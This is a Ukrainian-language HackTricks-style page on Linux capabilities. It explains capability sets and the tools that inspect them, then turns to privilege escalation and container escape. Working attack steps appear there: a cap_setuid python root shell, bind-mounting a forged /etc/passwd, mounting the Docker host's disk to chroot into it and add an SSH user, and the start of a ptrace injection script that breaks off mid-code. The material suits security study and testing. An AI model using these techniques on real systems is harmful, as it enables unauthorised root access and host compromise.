Linux Capabilities

Support HackTricks

​​​​​​​​​RootedCON є найважливішою подією в галузі кібербезпеки в Іспанії та однією з найважливіших в Європі. З метою просування технічних знань, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.\

Linux Capabilities

Linux capabilities ділять привілеї root на менші, окремі одиниці, дозволяючи процесам мати підмножину привілеїв. Це мінімізує ризики, не надаючи повні привілеї root без потреби.

Проблема:

  • Звичайні користувачі мають обмежені дозволи, що впливає на завдання, такі як відкриття мережевого сокета, яке вимагає доступу root.

Набори можливостей:

  1. Inherited (CapInh):

  • Мета: Визначає можливості, які передаються від батьківського процесу.

  • Функціональність: Коли створюється новий процес, він успадковує можливості від свого батька в цьому наборі. Корисно для підтримки певних привілеїв під час створення процесів.

  • Обмеження: Процес не може отримати можливості, яких не мав його батько.

  1. Effective (CapEff):

  • Мета: Представляє фактичні можливості, які процес використовує в будь-який момент.

  • Функціональність: Це набір можливостей, які перевіряються ядром для надання дозволу на різні операції. Для файлів цей набір може бути прапором, що вказує, чи слід враховувати дозволені можливості файлу як ефективні.

  • Значення: Ефективний набір є критично важливим для негайних перевірок привілеїв, діючи як активний набір можливостей, які може використовувати процес.

  1. Permitted (CapPrm):

  • Мета: Визначає максимальний набір можливостей, які може мати процес.

  • Функціональність: Процес може підвищити можливість з дозволеного набору до свого ефективного набору, надаючи йому можливість використовувати цю можливість. Він також може скинути можливості зі свого дозволеного набору.

  • Межа: Він діє як верхня межа для можливостей, які може мати процес, забезпечуючи, щоб процес не перевищував свій попередньо визначений обсяг привілеїв.

  1. Bounding (CapBnd):

  • Мета: Встановлює межу для можливостей, які процес може коли-небудь отримати під час свого життєвого циклу.

  • Функціональність: Навіть якщо процес має певну можливість у своєму успадкованому або дозволеному наборі, він не може отримати цю можливість, якщо вона також не в межах набору.

  • Використання: Цей набір особливо корисний для обмеження потенціалу підвищення привілеїв процесу, додаючи додатковий рівень безпеки.

  1. Ambient (CapAmb):

  • Мета: Дозволяє зберігати певні можливості під час системного виклику execve, який зазвичай призводить до повного скидання можливостей процесу.

  • Функціональність: Забезпечує, щоб програми без SUID, які не мають асоційованих файлових можливостей, могли зберігати певні привілеї.

  • Обмеження: Можливості в цьому наборі підлягають обмеженням успадкованих і дозволених наборів, забезпечуючи, щоб вони не перевищували дозволені привілеї процесу.

# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')

Для отримання додаткової інформації перегляньте:

Процеси та Бінарні Можливості

Можливості Процесів

Щоб побачити можливості для конкретного процесу, використовуйте файл status у каталозі /proc. Оскільки він надає більше деталей, обмежимося лише інформацією, що стосується можливостей Linux. Зверніть увагу, що для всіх запущених процесів інформація про можливості зберігається для кожного потоку, для бінарних файлів у файловій системі вона зберігається в розширених атрибутах.

Ви можете знайти можливості, визначені в /usr/include/linux/capability.h

Ви можете знайти можливості поточного процесу в cat /proc/self/status або виконавши capsh --print, а також можливості інших користувачів у /proc/<pid>/status

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

Ця команда повинна повернути 5 рядків на більшості систем.

  • CapInh = Спадковані можливості

  • CapPrm = Дозволені можливості

  • CapEff = Ефективні можливості

  • CapBnd = Обмежувальний набір

  • CapAmb = Набір навколишніх можливостей

#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Ці шістнадцяткові числа не мають сенсу. Використовуючи утиліту capsh, ми можемо декодувати їх у назви можливостей.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Давайте перевіримо тепер capabilities, які використовуються ping:

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Хоча це працює, є інший і простіший спосіб. Щоб побачити можливості запущеного процесу, просто використовуйте інструмент getpcaps, за яким слідує його ідентифікатор процесу (PID). Ви також можете надати список ідентифікаторів процесів.

getpcaps 1234

Давайте перевіримо можливості tcpdump після надання бінарному файлу достатніх можливостей (cap_net_admin та cap_net_raw) для перехоплення мережі (tcpdump працює в процесі 9562):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Як ви можете бачити, надані можливості відповідають результатам двох способів отримання можливостей бінарного файлу. Інструмент getpcaps використовує системний виклик capget() для запиту доступних можливостей для певного потоку. Цей системний виклик потребує лише PID для отримання додаткової інформації.

Можливості бінарних файлів

Бінарні файли можуть мати можливості, які можна використовувати під час виконання. Наприклад, дуже поширено знаходити бінарний файл ping з можливістю cap_net_raw:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

Ви можете шукати двійкові файли з можливостями за допомогою:

getcap -r / 2>/dev/null

Скидання можливостей з capsh

Якщо ми скинемо можливості CAP_NET_RAW для ping, тоді утиліта ping більше не повинна працювати.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

Крім виходу самого capsh, команда tcpdump також повинна викликати помилку.

/bin/bash: /usr/sbin/tcpdump: Операція не дозволена

Помилка чітко показує, що команді ping не дозволено відкривати сокет ICMP. Тепер ми точно знаємо, що це працює як очікувалося.

Видалити можливості

Ви можете видалити можливості бінарного файлу з

setcap -r </path/to/binary>

User Capabilities

Очевидно, можливо призначити можливості також користувачам. Це, ймовірно, означає, що кожен процес, виконуваний користувачем, зможе використовувати можливості користувача. Виходячи з цього, цього та цього, потрібно налаштувати кілька файлів, щоб надати користувачу певні можливості, але той, що призначає можливості кожному користувачу, буде /etc/security/capability.conf. Приклад файлу:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

Системні можливості

Компіліруючи наступну програму, можливо запустити оболонку bash в середовищі, яке надає можливості.

ambient.c
/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

Всередині bash, виконуваного скомпільованим амбієнтним бінарником, можна спостерігати нові можливості (звичайний користувач не матиме жодної можливості в розділі "поточний").

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

Ви можете додавати лише ті можливості, які присутні як у дозволених, так і в успадкованих наборах.

Бінарні файли з усвідомленням можливостей/Бінарні файли без усвідомлення можливостей

Бінарні файли з усвідомленням можливостей не використовуватимуть нові можливості, надані середовищем, однак бінарні файли без усвідомлення можливостей використовуватимуть їх, оскільки не відхилять їх. Це робить бінарні файли без усвідомлення можливостей вразливими в спеціальному середовищі, яке надає можливості бінарним файлам.

Можливості сервісу

За замовчуванням сервіс, що працює від імені root, матиме призначені всі можливості, і в деяких випадках це може бути небезпечно. Тому файл конфігурації сервісу дозволяє вказати можливості, які ви хочете, щоб він мав, і користувача, який повинен виконувати сервіс, щоб уникнути запуску сервісу з непотрібними привілеями:

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Capabilities in Docker Containers

За замовчуванням Docker призначає кілька можливостей контейнерам. Дуже легко перевірити, які це можливості, запустивши:

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

​​​​​​​​​​RootedCON є найактуальнішою подією в галузі кібербезпеки в Іспанії та однією з найважливіших в Європі. З метою просування технічних знань, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.

Privesc/Container Escape

Можливості корисні, коли ви хочете обмежити свої власні процеси після виконання привілейованих операцій (наприклад, після налаштування chroot і прив'язки до сокета). Однак їх можна експлуатувати, передаючи їм шкідливі команди або аргументи, які потім виконуються від імені root.

Ви можете примусово застосувати можливості до програм, використовуючи setcap, і запитувати їх, використовуючи getcap:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

+ep означає, що ви додаєте можливість (“-” видалить її) як Ефективну та Дозволену.

Щоб ідентифікувати програми в системі або папці з можливостями:

getcap -r / 2>/dev/null

Приклад експлуатації

У наступному прикладі двійковий файл /usr/bin/python2.6 виявляється вразливим до підвищення привілеїв:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Можливості, необхідні для tcpdump, щоб дозволити будь-якому користувачу перехоплювати пакети:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

Спеціальний випадок "порожніх" можливостей

З документації: Зверніть увагу, що можна призначити порожні набори можливостей програмному файлу, і таким чином можливо створити програму з set-user-ID-root, яка змінює ефективний та збережений set-user-ID процесу, що виконує програму, на 0, але не надає жодних можливостей цьому процесу. Або, простіше кажучи, якщо у вас є двійковий файл, який:

  1. не належить root

  2. не має встановлених бітів SUID/SGID

  3. має порожні набори можливостей (наприклад: getcap myelf повертає myelf =ep)

тоді цей двійковий файл буде виконуватись як root.

CAP_SYS_ADMIN

CAP_SYS_ADMIN є надзвичайно потужною можливістю Linux, часто прирівнюється до рівня близького до root через свої широкі адміністративні привілеї, такі як монтування пристроїв або маніпулювання функціями ядра. Хоча вона є незамінною для контейнерів, що імітують цілі системи, CAP_SYS_ADMIN створює значні проблеми безпеки, особливо в контейнеризованих середовищах, через свій потенціал для ескалації привілеїв та компрометації системи. Тому її використання вимагає суворих оцінок безпеки та обережного управління, з сильною перевагою для скидання цієї можливості в контейнерах, специфічних для застосунків, щоб дотримуватись принципу найменших привілеїв та мінімізувати поверхню атаки.

Приклад з двійковим файлом

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

Використовуючи python, ви можете змонтувати модифікований passwd файл поверх реального passwd файлу:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

І нарешті монтуйте змінений passwd файл на /etc/passwd:

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

І ви зможете su як root використовуючи пароль "password".

Приклад з середовищем (вихід з Docker)

Ви можете перевірити увімкнені можливості всередині контейнера docker за допомогою:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Всередині попереднього виходу ви можете побачити, що можливість SYS_ADMIN увімкнена.

  • Mount

Це дозволяє контейнеру docker монтувати диск хоста та вільно до нього отримувати доступ:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
  • Повний доступ

У попередньому методі ми змогли отримати доступ до диска хоста docker. Якщо ви виявите, що хост працює на сервері ssh, ви можете створити користувача всередині диска хоста docker і отримати доступ до нього через SSH:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

Це означає, що ви можете втекти з контейнера, інжектуючи shellcode в деякий процес, що виконується всередині хоста. Щоб отримати доступ до процесів, що виконуються всередині хоста, контейнер потрібно запускати принаймні з --pid=host.

CAP_SYS_PTRACE надає можливість використовувати функціональність налагодження та трасування системних викликів, що надається ptrace(2), а також виклики крос-пам'яті, такі як process_vm_readv(2) і process_vm_writev(2). Хоча це потужний інструмент для діагностики та моніторингу, якщо CAP_SYS_PTRACE увімкнено без обмежувальних заходів, таких як фільтр seccomp на ptrace(2), це може суттєво підірвати безпеку системи. Зокрема, це може бути використано для обходу інших обмежень безпеки, зокрема тих, що накладаються seccomp, як показано в доказах концепції (PoC), таких як цей.

Приклад з бінарним файлом (python)

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64